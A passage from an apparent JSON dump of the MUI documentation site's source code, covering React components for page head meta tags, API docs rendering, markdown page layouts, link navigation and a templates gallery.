    "content": "import * as React from 'react';\nimport NextHead from 'next/head';\nimport { useRouter } from 'next/router';\nimport { LANGUAGES_SSR } from 'docs/config';\nimport { useUserLanguage, useTranslate } from '@mui/docs/i18n';\nimport { pathnameToLanguage } from '@mui/docs/helpers';\n\n// #host-reference\nconst HOST = process.env.PULL_REQUEST_ID\n  ? `https://deploy-preview-${process.env.PULL_REQUEST_ID}--${process.env.NETLIFY_SITE_NAME}.netlify.app`\n  : 'https://next.mui.com';\n\ninterface HeadProps {\n  card?: string;\n  children?: React.ReactNode;\n  description: string;\n  disableAlternateLocale?: boolean;\n  largeCard?: boolean;\n  title: string;\n  type?: string;\n}\n\nexport default function Head(props: HeadProps) {\n  const t = useTranslate();\n  const {\n    card = '/static/social-previews/home-preview.jpg',\n    children,\n    description = t('strapline'),\n    disableAlternateLocale = false,\n    largeCard = true,\n    title = t('headTitle'),\n    type = 'website',\n  } = props;\n  const userLanguage = useUserLanguage();\n  const router = useRouter();\n  const { canonicalAs } = pathnameToLanguage(router.asPath);\n  const preview = card.startsWith('http') ? card : `${HOST}${card}`;\n\n  return (\n    <NextHead>\n      <title>{title}</title>\n      <meta name=\"description\" content={description} />\n      {/* X */}\n      <meta name=\"twitter:card\" content={largeCard ? 'summary_large_image' : 'summary'} />\n      {/* https://x.com/MUI_hq */}\n      <meta name=\"twitter:site\" content=\"@MUI_hq\" />\n      <meta name=\"twitter:title\" content={title} />\n      <meta name=\"twitter:description\" content={description} />\n      <meta name=\"twitter:image\" content={preview} />\n      {/* Facebook */}\n      <meta property=\"og:type\" content={type} />\n      <meta property=\"og:title\" content={title} />\n      <meta property=\"og:url\" content={`${HOST}${router.asPath}`} />\n      <meta property=\"og:description\" content={description} />\n      <meta property=\"og:image\" content={preview} />\n      <meta property=\"og:ttl\" content=\"604800\" />\n      {/* Algolia */}\n      <meta name=\"docsearch:language\" content={userLanguage} />\n      {/* #host-reference */}\n      <meta name=\"docsearch:version\" content=\"master\" />\n      {disableAlternateLocale\n        ? null\n        : LANGUAGES_SSR.map((userLanguage2) => (\n            <link\n              key={userLanguage2}\n              rel=\"alternate\"\n              href={`https://next.mui.com${\n                userLanguage2 === 'en' ? '' : `/${userLanguage2}`\n              }${canonicalAs}`}\n              hrefLang={userLanguage2}\n            />\n          ))}\n      {children}\n    </NextHead>\n  );\n}\n"
  },
  {
    "path": "docs/src/modules/components/HighlightedCodeWithTabs.js",
    "content": "// Backwards compatibility for Toolpad and X.\n// TODO: remove when Toolpad and X migrated to `@mui/docs/HighlightedCode`\nimport { HighlightedCodeWithTabs } from '@mui/docs/HighlightedCode';\n\nexport default HighlightedCodeWithTabs;\n"
  },
  {
    "path": "docs/src/modules/components/HooksApiContent.tsx",
    "content": "/* eslint-disable react/no-danger */\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { kebabCase } from 'es-toolkit/string';\nimport exactProp from '@mui/utils/exactProp';\nimport { Translate, useTranslate, useUserLanguage } from '@mui/docs/i18n';\nimport { SectionTitle, SectionTitleProps } from '@mui/docs/SectionTitle';\nimport type { LayoutStorageKeys } from '@mui/docs/ApiPage';\nimport { HookApiContent, HooksTranslations } from '@mui-internal/api-docs-builder';\nimport {\n  ApiDisplayLayout,\n  DEFAULT_API_LAYOUT_STORAGE_KEYS,\n  getHookApiDefinitions,\n  PropertiesSection,\n} from '@mui/docs/ApiPage/private';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\nimport { MarkdownElement } from '@mui/docs/MarkdownElement';\n\nfunction getTranslatedHeader(t: Translate, header: string, title?: string) {\n  const translations: Record<string, string> = {\n    demos: t('api-docs.demos'),\n    import: t('api-docs.import'),\n    'hook-name': t('api-docs.hookName'),\n    parameters: t('api-docs.parameters'),\n    'return-value': t('api-docs.returnValue'),\n  };\n\n  return translations[header] || (title && translations[title]) || title || header;\n}\n\nfunction Heading(props: SectionTitleProps) {\n  const { hash, title, level = 'h2' } = props;\n  const t = useTranslate();\n\n  return <SectionTitle title={getTranslatedHeader(t, hash, title)} hash={hash} level={level} />;\n}\n\nHeading.propTypes = {\n  hash: PropTypes.string.isRequired,\n  level: PropTypes.string,\n  title: PropTypes.string,\n};\n\ntype HooksApiContentProps = {\n  descriptions: {\n    [hookName: string]: {\n      [lang: string]: HooksTranslations;\n    };\n  };\n  pagesContents: { [component: string]: HookApiContent };\n  defaultLayout?: ApiDisplayLayout;\n  layoutStorageKey?: LayoutStorageKeys;\n};\n\nexport default function HooksApiContent(props: HooksApiContentProps) {\n  const {\n    descriptions,\n    pagesContents,\n    defaultLayout = 'table',\n    layoutStorageKey = DEFAULT_API_LAYOUT_STORAGE_KEYS,\n  } = props;\n  const userLanguage = useUserLanguage();\n  const t = useTranslate();\n\n  const hooks = Object.keys(pagesContents);\n\n  return hooks.map((key) => {\n    const { name: hookName, parameters, returnValue, imports } = pagesContents[key];\n\n    const { parametersDescriptions, returnValueDescriptions } = descriptions[key][userLanguage];\n\n    const hookNameKebabCase = kebabCase(hookName);\n\n    const importInstructions = imports.join(`\n// ${t('or')}\n`);\n\n    return (\n      <React.Fragment key={`hook-api-${key}`}>\n        <MarkdownElement>\n          <Heading hash={hookNameKebabCase} title={`${hookName} API`} />\n          <Heading title=\"import\" hash={`${hookNameKebabCase}-import`} level=\"h3\" />\n          <HighlightedCode code={importInstructions} language=\"jsx\" />\n          {imports.length > 1 && (\n            <p dangerouslySetInnerHTML={{ __html: t('api-docs.importDifference') }} />\n          )}\n          {Object.keys(parameters).length > 0 ? (\n            <PropertiesSection\n              properties={getHookApiDefinitions({\n                kind: 'parameters',\n                hookName,\n                properties: parameters,\n                translations: parametersDescriptions,\n              })}\n              level=\"h3\"\n              title=\"api-docs.parameters\"\n              titleHash={`${hookNameKebabCase}-parameters`}\n              defaultLayout={defaultLayout}\n              layoutStorageKey={layoutStorageKey.props}\n            />\n          ) : (\n            <span>{t('api-docs.hooksNoParameters')}</span>\n          )}\n          <PropertiesSection\n            properties={getHookApiDefinitions({\n              kind: 'return',\n              hookName,\n              properties: returnValue,\n              translations: returnValueDescriptions,\n              showOptionalAbbr: true,\n            })}\n            level=\"h3\"\n            title=\"api-docs.returnValue\"\n            titleHash={`${hookNameKebabCase}-return-value`}\n            defaultLayout={defaultLayout}\n            layoutStorageKey={layoutStorageKey.props}\n          />\n          <br />\n        </MarkdownElement>\n        <svg style={{ display: 'none' }} xmlns=\"http://www.w3.org/2000/svg\">\n          <symbol id=\"anchor-link-icon\" viewBox=\"0 0 16 16\">\n            <path d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\" />\n          </symbol>\n        </svg>\n      </React.Fragment>\n    );\n  });\n}\n\nif (process.env.NODE_ENV !== 'production') {\n  HooksApiContent.propTypes = exactProp({\n    defaultLayout: PropTypes.oneOf(['collapsed', 'expanded', 'table']),\n    descriptions: PropTypes.object.isRequired,\n    layoutStorageKey: PropTypes.string,\n    pagesContents: PropTypes.object.isRequired,\n  });\n}\n"
  },
  {
    "path": "docs/src/modules/components/MarkdownDocs.js",
    "content": "import PropTypes from 'prop-types';\nimport { exactProp } from '@mui/utils';\nimport { Ad, AdGuest } from '@mui/docs/Ad';\nimport RichMarkdownElement from 'docs/src/modules/components/RichMarkdownElement';\nimport AppLayoutDocs from 'docs/src/modules/components/AppLayoutDocs';\nimport { useUserLanguage } from '@mui/docs/i18n';\n\nexport default function MarkdownDocs(props) {\n  const {\n    disableAd = false,\n    disableToc = false,\n    wideLayout,\n    demos = {},\n    docs,\n    demoComponents,\n    srcComponents,\n  } = props;\n\n  const userLanguage = useUserLanguage();\n  const localizedDoc = docs[userLanguage] || docs.en;\n\n  return (\n    <AppLayoutDocs\n      cardOptions={{\n        description: localizedDoc.headers.cardDescription,\n        title: localizedDoc.headers.cardTitle,\n      }}\n      description={localizedDoc.description}\n      disableAd={disableAd}\n      disableToc={disableToc}\n      wideLayout={wideLayout}\n      location={localizedDoc.location}\n      title={localizedDoc.title}\n      toc={localizedDoc.toc}\n    >\n      {disableAd ? null : (\n        <AdGuest>\n          <Ad />\n        </AdGuest>\n      )}\n      {localizedDoc.rendered.map((renderedMarkdownOrDemo, index) => (\n        <RichMarkdownElement\n          key={`demos-section-${index}`}\n          demoComponents={demoComponents}\n          demos={demos}\n          disableAd={disableAd}\n          localizedDoc={localizedDoc}\n          renderedMarkdownOrDemo={renderedMarkdownOrDemo}\n          srcComponents={srcComponents}\n        />\n      ))}\n    </AppLayoutDocs>\n  );\n}\n\nMarkdownDocs.propTypes = {\n  wideLayout: PropTypes.bool,\n  demoComponents: PropTypes.object,\n  demos: PropTypes.object,\n  disableAd: PropTypes.bool,\n  disableToc: PropTypes.bool,\n  docs: PropTypes.object.isRequired,\n  srcComponents: PropTypes.object,\n};\n\nif (process.env.NODE_ENV !== 'production') {\n  MarkdownDocs.propTypes = exactProp(MarkdownDocs.propTypes);\n}\n"
  },
  {
    "path": "docs/src/modules/components/MarkdownDocsV2.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { useRouter } from 'next/router';\nimport { kebabCase } from 'es-toolkit/string';\nimport { exactProp } from '@mui/utils';\nimport { Ad, AdGuest } from '@mui/docs/Ad';\nimport ComponentsApiContent from 'docs/src/modules/components/ComponentsApiContent';\nimport HooksApiContent from 'docs/src/modules/components/HooksApiContent';\nimport { getTranslatedHeader as getComponentTranslatedHeader } from 'docs/src/modules/components/ApiPage';\nimport RichMarkdownElement from 'docs/src/modules/components/RichMarkdownElement';\nimport AppLayoutDocs from 'docs/src/modules/components/AppLayoutDocs';\nimport { useTranslate, useUserLanguage } from '@mui/docs/i18n';\nimport { HEIGHT as AppFrameHeight } from 'docs/src/modules/components/AppFrame';\nimport { HEIGHT as TabsHeight } from 'docs/src/modules/components/ComponentPageTabs';\nimport { getPropertiesToc, getClassesToc } from '@mui/docs/ApiPage/private';\n\nfunction getHookTranslatedHeader(t, header) {\n  const translations = {\n    demos: t('api-docs.demos'),\n    import: t('api-docs.import'),\n    'hook-name': t('api-docs.hookName'),\n    parameters: t('api-docs.parameters'),\n    'return-value': t('api-docs.returnValue'),\n  };\n\n  // TODO Drop runtime type-checking once we type-check this file\n  if (!translations.hasOwnProperty(header)) {\n    throw new TypeError(\n      `Unable to translate header '${header}'. Did you mean one of '${Object.keys(\n        translations,\n      ).join(\"', '\")}'`,\n    );\n  }\n\n  return translations[header] || header;\n}\n\nexport default function MarkdownDocsV2(props) {\n  const router = useRouter();\n  const [activeTab, setActiveTab] = React.useState(router.query.docsTab ?? '');\n\n  const {\n    disableAd = false,\n    disableToc = false,\n    wideLayout,\n    demos = {},\n    docs,\n    demoComponents,\n    srcComponents,\n    componentsApiDescriptions,\n    componentsApiPageContents,\n    hooksApiDescriptions,\n    hooksApiPageContents,\n  } = props;\n\n  const userLanguage = useUserLanguage();\n  const t = useTranslate();\n\n  React.useEffect(() => {\n    setActiveTab(router.query.docsTab ?? '');\n  }, [router.query.docsTab]);\n\n  const localizedDoc = docs[userLanguage] || docs.en;\n  // Generate the TOC based on the tab\n  const demosToc = localizedDoc.toc;\n\n  function createHookTocEntry(hookName, sectionName, hookProps = {}) {\n    const hookPropToc = [];\n    Object.keys(hookProps).forEach((propName) => {\n      hookPropToc.push({\n        text: propName,\n        hash: `${hookName}-${sectionName}-${propName}`,\n        children: [],\n      });\n    });\n\n    return {\n      text: getHookTranslatedHeader(t, sectionName),\n      hash: `${hookName}-${sectionName}`,\n      children: hookPropToc,\n    };\n  }\n\n  const hooksToc = [];\n  if (hooksApiPageContents) {\n    Object.keys(hooksApiPageContents).forEach((key) => {\n      const { name: hookName, parameters = {}, returnValue = {} } = hooksApiPageContents[key];\n\n      const hookNameKebabCase = kebabCase(hookName);\n\n      const hookToc = [\n        createHookTocEntry(hookNameKebabCase, 'import'),\n        createHookTocEntry(hookNameKebabCase, 'parameters', parameters),\n        createHookTocEntry(hookNameKebabCase, 'return-value', returnValue),\n      ].filter(Boolean);\n\n      hooksToc.push({\n        text: hookName,\n        hash: hookNameKebabCase,\n        children: hookToc,\n      });\n    });\n  }\n\n  function createComponentTocEntry(\n    componentName,\n    sectionName,\n    options = { inheritance: false, themeDefaultProps: false },\n  ) {\n    return {\n      text: getComponentTranslatedHeader(t, sectionName),\n      hash: `${componentName}-${sectionName}`,\n      children: [\n        ...(options.inheritance\n          ? [{ text: t('api-docs.inheritance'), hash: 'inheritance', children: [] }]\n          : []),\n        ...(options.themeDefaultProps\n          ? [{ text: t('api-docs.themeDefaultProps'), hash: 'theme-default-props', children: [] }]\n          : []),\n      ],\n    };\n  }\n\n  const componentsApiToc = [];\n\n  if (componentsApiPageContents) {\n    Object.keys(componentsApiPageContents).forEach((key) => {\n      const { componentDescriptionToc = [] } = componentsApiDescriptions[key][userLanguage];\n      const {\n        name: componentName,\n        slots,\n        inheritance,\n        themeDefaultProps,\n        classes,\n        props: componentProps,\n      } = componentsApiPageContents[key];\n      const componentNameKebabCase = kebabCase(componentName);\n\n      const componentApiToc = [\n        createComponentTocEntry(componentNameKebabCase, 'import'),\n        ...componentDescriptionToc,\n        getPropertiesToc({\n          t,\n          componentName: componentNameKebabCase,\n          componentProps,\n          inheritance,\n          themeDefaultProps,\n          hash: `${componentNameKebabCase}-props`,\n        }),\n        slots?.length > 0 && createComponentTocEntry(componentNameKebabCase, 'slots'),\n        ...getClassesToc({\n          t,\n          componentName: componentNameKebabCase,\n          classes,\n          hash: `${componentNameKebabCase}-classes`,\n        }),\n      ].filter(Boolean);\n\n      componentsApiToc.push({\n        text: componentName,\n        hash: componentNameKebabCase,\n        children: componentApiToc,\n      });\n    });\n  }\n\n  const commonElements = [];\n\n  let i = 0;\n  let done = false;\n\n  // process the elements before the tabs component\n  while (i < localizedDoc.rendered.length && !done) {\n    const renderedMarkdownOrDemo = localizedDoc.rendered[i];\n    if (renderedMarkdownOrDemo.component && renderedMarkdownOrDemo.component.includes('Tabs')) {\n      done = true;\n    }\n    commonElements.push(\n      <RichMarkdownElement\n        key={`common-elements-${i}`}\n        activeTab={activeTab}\n        demoComponents={demoComponents}\n        demos={demos}\n        disableAd={disableAd}\n        localizedDoc={localizedDoc}\n        renderedMarkdownOrDemo={renderedMarkdownOrDemo}\n        srcComponents={srcComponents}\n      />,\n    );\n    i += 1;\n  }\n\n  let activeToc = demosToc;\n\n  if (activeTab === 'hooks-api') {\n    activeToc = hooksToc;\n  }\n\n  if (activeTab === 'components-api') {\n    activeToc = componentsApiToc;\n  }\n\n  const hasTabs = localizedDoc.rendered.some((renderedMarkdownOrDemo) => {\n    if (\n      typeof renderedMarkdownOrDemo === 'object' &&\n      renderedMarkdownOrDemo.component &&\n      renderedMarkdownOrDemo.component === 'modules/components/ComponentPageTabs.js'\n    ) {\n      return true;\n    }\n    return false;\n  });\n\n  return (\n    <AppLayoutDocs\n      cardOptions={{\n        description: localizedDoc.headers.cardDescription,\n        title: localizedDoc.headers.cardTitle,\n      }}\n      description={localizedDoc.description}\n      disableAd={disableAd}\n      disableToc={disableToc}\n      wideLayout={wideLayout}\n      location={localizedDoc.location}\n      title={localizedDoc.title}\n      toc={activeToc}\n      disableLayout\n      hasTabs={hasTabs}\n    >\n      <div\n        style={{\n          '--MuiDocs-header-height': hasTabs\n            ? `${AppFrameHeight + TabsHeight}px`\n            : `${AppFrameHeight}px`,\n        }}\n      >\n        {disableAd ? null : (\n          <AdGuest classSelector={hasTabs ? '.component-tabs' : undefined}>\n            <Ad />\n          </AdGuest>\n        )}\n        {commonElements}\n        {activeTab === '' &&\n          localizedDoc.rendered\n            .slice(i)\n            .map((renderedMarkdownOrDemo, index) => (\n              <RichMarkdownElement\n                key={`demos-section-${index}`}\n                activeTab={activeTab}\n                demoComponents={demoComponents}\n                demos={demos}\n                disableAd={disableAd}\n                localizedDoc={localizedDoc}\n                renderedMarkdownOrDemo={renderedMarkdownOrDemo}\n                srcComponents={srcComponents}\n              />\n            ))}\n        {activeTab === 'components-api' && (\n          <ComponentsApiContent\n            descriptions={componentsApiDescriptions}\n            pageContents={componentsApiPageContents}\n          />\n        )}\n        {activeTab === 'hooks-api' && (\n          <HooksApiContent\n            descriptions={hooksApiDescriptions}\n            pagesContents={hooksApiPageContents}\n          />\n        )}\n      </div>\n    </AppLayoutDocs>\n  );\n}\n\nMarkdownDocsV2.propTypes = {\n  componentsApiDescriptions: PropTypes.object,\n  componentsApiPageContents: PropTypes.object,\n  wideLayout: PropTypes.bool,\n  demoComponents: PropTypes.object,\n  demos: PropTypes.object,\n  disableAd: PropTypes.bool,\n  disableToc: PropTypes.bool,\n  docs: PropTypes.object.isRequired,\n  hooksApiDescriptions: PropTypes.object,\n  hooksApiPageContents: PropTypes.object,\n  srcComponents: PropTypes.object,\n};\n\nif (process.env.NODE_ENV !== 'production') {\n  MarkdownDocsV2.propTypes = exactProp(MarkdownDocsV2.propTypes);\n}\n"
  },
  {
    "path": "docs/src/modules/components/MarkdownLinks.ts",
    "content": "import * as React from 'react';\nimport Router from 'next/router';\nimport { pathnameToLanguage } from '@mui/docs/helpers';\n\nexport function samePageLinkNavigation(event: MouseEvent) {\n  if (\n    event.defaultPrevented ||\n    event.button !== 0 || // ignore everything but left-click\n    event.metaKey ||\n    event.ctrlKey ||\n    event.altKey ||\n    event.shiftKey\n  ) {\n    return true;\n  }\n  return false;\n}\n\nfunction isLink(event: MouseEvent): HTMLElement | null {\n  let activeElement: HTMLElement | null = event.target as HTMLElement | null;\n  while (activeElement?.nodeType === Node.ELEMENT_NODE && activeElement.nodeName !== 'A') {\n    activeElement = activeElement.parentElement;\n  }\n\n  // Ignore non internal link clicks.\n  // Absolute URLs can be internal, we delegate this to Next.js's router\n  if (\n    activeElement === null ||\n    activeElement.nodeName !== 'A' ||\n    activeElement.getAttribute('target') === '_blank' ||\n    activeElement.getAttribute('data-no-markdown-link') === 'true'\n  ) {\n    return null;\n  }\n\n  return activeElement;\n}\n\n/**\n * @param {MouseEvent} event\n */\nfunction handleClick(event: MouseEvent) {\n  // Ignore click events meant for native link handling, for example open in new tab\n  if (samePageLinkNavigation(event)) {\n    return;\n  }\n\n  const activeElement = isLink(event);\n  if (activeElement === null) {\n    return;\n  }\n\n  event.preventDefault();\n  const as = activeElement.getAttribute('href');\n  if (as === null) {\n    return;\n  }\n  const canonicalPathname = pathnameToLanguage(as).canonicalPathname;\n  Router.push(canonicalPathname, as);\n}\n\n/**\n * Source copied from https://github.com/vercel/next.js/blob/ebc4eaaa2564b4283711646079d68e430496c88b/packages/next/src/client/link.tsx\n */\nfunction handleMouseOver(event: MouseEvent) {\n  const activeElement = isLink(event);\n  if (activeElement === null) {\n    return;\n  }\n\n  const as = activeElement.getAttribute('href');\n  if (as === null) {\n    return;\n  }\n  const canonicalPathname = pathnameToLanguage(as).canonicalPathname;\n\n  const prefetchPromise = Router.prefetch(canonicalPathname, as, { priority: true });\n  // Prefetch the JSON page if asked (only in the client)\n  // We need to handle a prefetch error here since we may be\n  // loading with priority which can reject but we don't\n  // want to force navigation since this is only a prefetch\n  Promise.resolve(prefetchPromise).catch((err) => {\n    if (process.env.NODE_ENV !== 'production') {\n      // rethrow to show invalid URL errors\n      throw err;\n    }\n  });\n}\n\nexport default function MarkdownLinks() {\n  React.useEffect(() => {\n    document.addEventListener('click', handleClick);\n    document.addEventListener('mouseover', handleMouseOver);\n    return () => {\n      document.removeEventListener('click', handleClick);\n      document.removeEventListener('mouseover', handleMouseOver);\n    };\n  }, []);\n\n  return null;\n}\n"
  },
  {
    "path": "docs/src/modules/components/MaterialDesignIcon.js",
    "content": "import { createSvgIcon } from '@mui/material/utils';\n\nexport default createSvgIcon(\n  <g fill=\"none\" fillRule=\"evenodd\">\n    <circle fill=\"#737373\" cx=\"12\" cy=\"12\" r=\"12\" />\n    <path fill=\"#BDBDBD\" d=\"M4 4h16v16H4z\" />\n    <path fill=\"#FFF\" d=\"M12 20l8-16H4z\" />\n  </g>,\n  'MaterialDesign',\n);\n"
  },
  {
    "path": "docs/src/modules/components/MaterialFreeTemplatesCollection.js",
    "content": "import Box from '@mui/material/Box';\nimport Card from '@mui/material/Card';\nimport CardMedia from '@mui/material/CardMedia';\nimport Button from '@mui/material/Button';\nimport IconButton from '@mui/material/IconButton';\nimport Link from '@mui/material/Link';\nimport Tooltip from '@mui/material/Tooltip';\nimport Typography from '@mui/material/Typography';\nimport SvgIcon from '@mui/material/SvgIcon';\nimport Visibility from '@mui/icons-material/Visibility';\nimport CodeRoundedIcon from '@mui/icons-material/CodeRounded';\nimport OpenInNewRoundedIcon from '@mui/icons-material/OpenInNewRounded';\nimport { useTranslate } from '@mui/docs/i18n';\nimport { pascalCase } from '@mui/docs/helpers';\nimport sourceMaterialTemplates from 'docs/src/modules/material/sourceMaterialTemplates';\nimport codeSandbox from 'docs/src/modules/sandbox/CodeSandbox';\nimport stackBlitz from 'docs/src/modules/sandbox/StackBlitz';\n\nconst sourcePrefix = `${process.env.SOURCE_CODE_REPO}/tree/v${process.env.LIB_VERSION}`;\n\nfunction layouts(translation) {\n  return [\n    {\n      title: translation('dashboardTitle'),\n      description: translation('dashboardDescr'),\n      href: '/material-ui/getting-started/templates/dashboard/',\n      source: `${sourcePrefix}/docs/data/material/getting-started/templates/dashboard`,\n      hasDarkMode: true,\n    },\n    {\n      title: translation('marketingPageTitle'),\n      description: translation('marketingPageDescr'),\n      href: '/material-ui/getting-started/templates/marketing-page/',\n      source: `${sourcePrefix}/docs/data/material/getting-started/templates/marketing-page`,\n      hasDarkMode: true,\n    },\n    {\n      title: translation('checkoutTitle'),\n      description: translation('checkoutDescr'),\n      href: '/material-ui/getting-started/templates/checkout/',\n      source: `${sourcePrefix}/docs/data/material/getting-started/templates/checkout`,\n      hasDarkMode: true,\n    },\n    {\n      title: translation('signInTitle'),\n      description: translation('signInDescr'),\n      href: '/material-ui/getting-started/templates/sign-in/',\n      source: `${sourcePrefix}/docs/data/material/getting-started/templates/sign-in`,\n      hasDarkMode: true,\n    },\n    {\n      title: translation('signInSideTitle'),\n      description: translation('signInSideDescr'),\n      href: '/material-ui/getting-started/templates/sign-in-side/',\n      source: `${sourcePrefix}/docs/data/material/getting-started/templates/sign-in-side`,\n      hasDarkMode: true,\n    },\n    {\n      title: translation('signUpTitle'),\n      description: translation('signUpDescr'),\n      href: '/material-ui/getting-started/templates/sign-up/',\n      source: `${sourcePrefix}/docs/data/material/getting-started/templates/sign-up`,\n      hasDarkMode: true,\n    },\n    {\n      title: translation('blogTitle'),\n      description: translation('blogDescr'),\n      href: '/material-ui/getting-started/templates/blog/',\n      source: `${sourcePrefix}/docs/data/material/getting-started/templates/blog`,\n      hasDarkMode: true,\n    },\n    {\n      title: translation('crudDashboardTitle'),\n      description: translation('crudDashboardDescr'),\n      href: '/material-ui/getting-started/templates/crud-dashboard/',\n      source: `${sourcePrefix}/docs/data/material/getting-started/templates/crud-dashboard`,\n      hasDarkMode: true,\n    },\n  ];\n}\n\nexport default function MaterialFreeTemplatesCollection() {\n  const translation = useTranslate();\n  const materialTemplates = sourceMaterialTemplates();\n  return (\n    <Box sx={{ display: 'flex', flexDirection: 'column', gap: 4, mb: 4 }}>\n      {layouts(translation).map((layout, index) => {\n        const templateId = layout.source.split('/').pop();\n        const templateName = pascalCase(templateId);\n        const item = materialTemplates.map.get(templateId);\n        return (\n          <Box sx={{ display: 'flex', flexDirection: 'column', gap: 1 }} key={layout.title}>\n            <Typography component=\"h3\" variant=\"h6\" sx={{ fontWeight: 'semiBold' }}>\n              {layout.title}\n            </Typography>\n            <Typography variant=\"body2\" sx={{ color: 'text.secondary', mb: 2 }}>\n              {layout.description}\n            </Typography>\n            <Card\n              variant=\"outlined\"\n              sx={{\n                height: '100%',\n                display: 'flex',\n                flexDirection: 'column',\n                borderColor: 'divider',\n              }}\n            >\n              <Link\n                href={layout.href}\n                sx={{\n                  position: 'relative',\n                  '&:hover > .MuiCardMedia-root': {\n                    filter: 'blur(4px)',\n                  },\n                  '&:hover > .MuiButtonBase-root': {\n                    opacity: 1,\n                  },\n                }}\n              >\n                <CardMedia\n                  component=\"img\"\n                  // The image source is generated from `pnpm template:screenshot material-ui`, do not modify the image manually.\n                  image={`/static/screenshots${layout.href.replace(/\\/$/, '')}.jpg`}\n                  alt={layout.title}\n                  fetchPriority={index === 0 ? 'high' : undefined}\n                  sx={(theme) => ({\n                    aspectRatio: '16 / 9',\n                    objectPosition: 'top',\n                    transition: 'filter 0.3s',\n                    ...theme.applyStyles('dark', {\n                      content: 'var(--src)',\n                    }),\n                  })}\n                  style={{\n                    '--src': layout.hasDarkMode\n                      ? `url(/static/screenshots${layout.href.replace(/\\/$/, '')}-dark.jpg)`\n                      : `url(/static/screenshots${layout.href.replace(/\\/$/, '')}.jpg)`,\n                  }}\n                />\n                <Button\n                  variant=\"text\"\n                  endIcon={<OpenInNewRoundedIcon />}\n                  component=\"div\"\n                  data-ga-event-category=\"material-ui-template\"\n                  data-ga-event-label={layout.title}\n                  data-ga-event-action=\"preview-img\"\n                  tabIndex={null}\n                  role=\"none\"\n                  sx={{\n                    position: 'absolute',\n                    top: '50%',\n                    left: '50%',\n                    transform: 'translate(-50%, -50%)',\n                    opacity: 0,\n                    transition: 'opacity 0.5s ease',\n                    backgroundColor: 'background.paper',\n                    '&:hover': {\n                      backgroundColor: 'background.default',\n                    },\n                  }}\n                >\n                  See live preview\n                </Button>\n              </Link>\n              <Box\n                sx={{\n                  display: 'flex',\n                  justifyContent: 'space-between',\n                  p: 2,\n                  borderTop: '1px solid',\n                  borderColor: 'divider',\n                }}\n              >\n                <Box\n                  sx={{\n                    display: 'flex',\n                    alignItems: 'center',\n                    gap: 1,\n                  }}\n                >\n                  <Tooltip title=\"Edit in StackBlitz\">\n                    <IconButton\n                      color=\"primary\"\n                      size=\"small\"\n                      aria-label=\"StackBlitz playground\"\n                      data-ga-event-category=\"material-ui-template\"\n                      data-ga-event-label={templateId}\n                      data-ga-event-action=\"stackblitz\"\n                      onClick={() =>\n                        stackBlitz\n                          .createMaterialTemplate({\n                            ...item,\n                            files: { ...item.files, ...materialTemplates.sharedTheme?.files },\n                            title: `${templateName} Template - Material UI`,\n                            githubLocation: `${process.env.SOURCE_CODE_REPO}/blob/v${\n                              process.env.LIB_VERSION\n                            }/docs/data/material/templates/${templateId}/${templateName}.${\n                              item.codeVariant === 'TS' ? 'tsx' : 'js'\n                            }`,\n                          })\n                          .replaceContent((content) => {\n                            if (typeof content === 'string') {\n                              return content\n                                .replace(/\\.\\.\\/shared-theme\\//g, './theme/')\n                                .replace('./App', `./${templateName}`);\n                            }\n                            return content;\n                          })\n                          .openStackBlitz(`/${templateName}`)\n                      }\n                    >\n                      <SvgIcon viewBox=\"0 0 19 28\">\n                        <path d=\"M8.13378 16.1087H0L14.8696 0L10.8662 11.1522L19 11.1522L4.13043 27.2609L8.13378 16.1087Z\" />\n                      </SvgIcon>\n                    </IconButton>\n                  </Tooltip>\n                  <Tooltip title=\"Edit in CodeSandbox\">\n                    <IconButton\n                      color=\"primary\"\n                      size=\"small\"\n                      aria-label=\"CodeSandbox playground\"\n                      data-ga-event-category=\"material-ui-template\"\n                      data-ga-event-label={templateId}\n                      data-ga-event-action=\"codesandbox\"\n                      onClick={() =>\n                        codeSandbox\n                          .createMaterialTemplate({\n                            ...item,\n                            files: { ...item.files, ...materialTemplates.sharedTheme?.files },\n                            title: `${templateName} Template - Material UI`,\n                            githubLocation: `${process.env.SOURCE_CODE_REPO}/blob/v${\n                              process.env.LIB_VERSION\n                            }/docs/data/material/templates/${templateId}/${templateName}.${\n                              item.codeVariant === 'TS' ? 'tsx' : 'js'\n                            }`,\n                          })\n                          .replaceContent((content) => {\n                            if (typeof content === 'string') {\n                              return content\n                                .replace(/\\.\\.\\/shared-theme\\//g, './theme/')\n                                .replace('./App', `./${templateName}`);\n                            }\n                            return content;\n                          })\n                          .openSandbox(`/${templateName}`)\n                      }\n                    >\n                      <SvgIcon viewBox=\"0 0 1080 1080\">\n                        <path d=\"M755 140.3l0.5-0.3h0.3L512 0 268.3 140h-0.3l0.8 0.4L68.6 256v512L512 1024l443.4-256V256L755 140.3z m-30 506.4v171.2L548 920.1V534.7L883.4 341v215.7l-158.4 90z m-584.4-90.6V340.8L476 534.4v385.7L300 818.5V646.7l-159.4-90.6zM511.7 280l171.1-98.3 166.3 96-336.9 194.5-337-194.6 165.7-95.7L511.7 280z\" />\n                      </SvgIcon>\n                    </IconButton>\n                  </Tooltip>\n                  <Tooltip title=\"See source code\">\n                    <IconButton component=\"a\" href={layout.source} color=\"primary\" size=\"small\">\n                      <CodeRoundedIcon />\n                    </IconButton>\n                  </Tooltip>\n                </Box>\n                <Button\n                  component=\"a\"\n                  href={layout.href}\n                  size=\"small\"\n                  variant=\"outlined\"\n                  color=\"primary\"\n                  startIcon={<Visibility sx={{ mr: 0.5 }} />}\n                  data-ga-event-category=\"material-ui-template\"\n                  data-ga-event-label={layout.title}\n                  data-ga-event-action=\"preview-img\"\n                  sx={{ alignSelf: 'self-start' }}\n                >\n                  Live preview\n                </Button>\n              </Box>\n            </Card>\n          </Box>\n        );\n      })}\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/src/modules/components/MaterialShowcase.js",
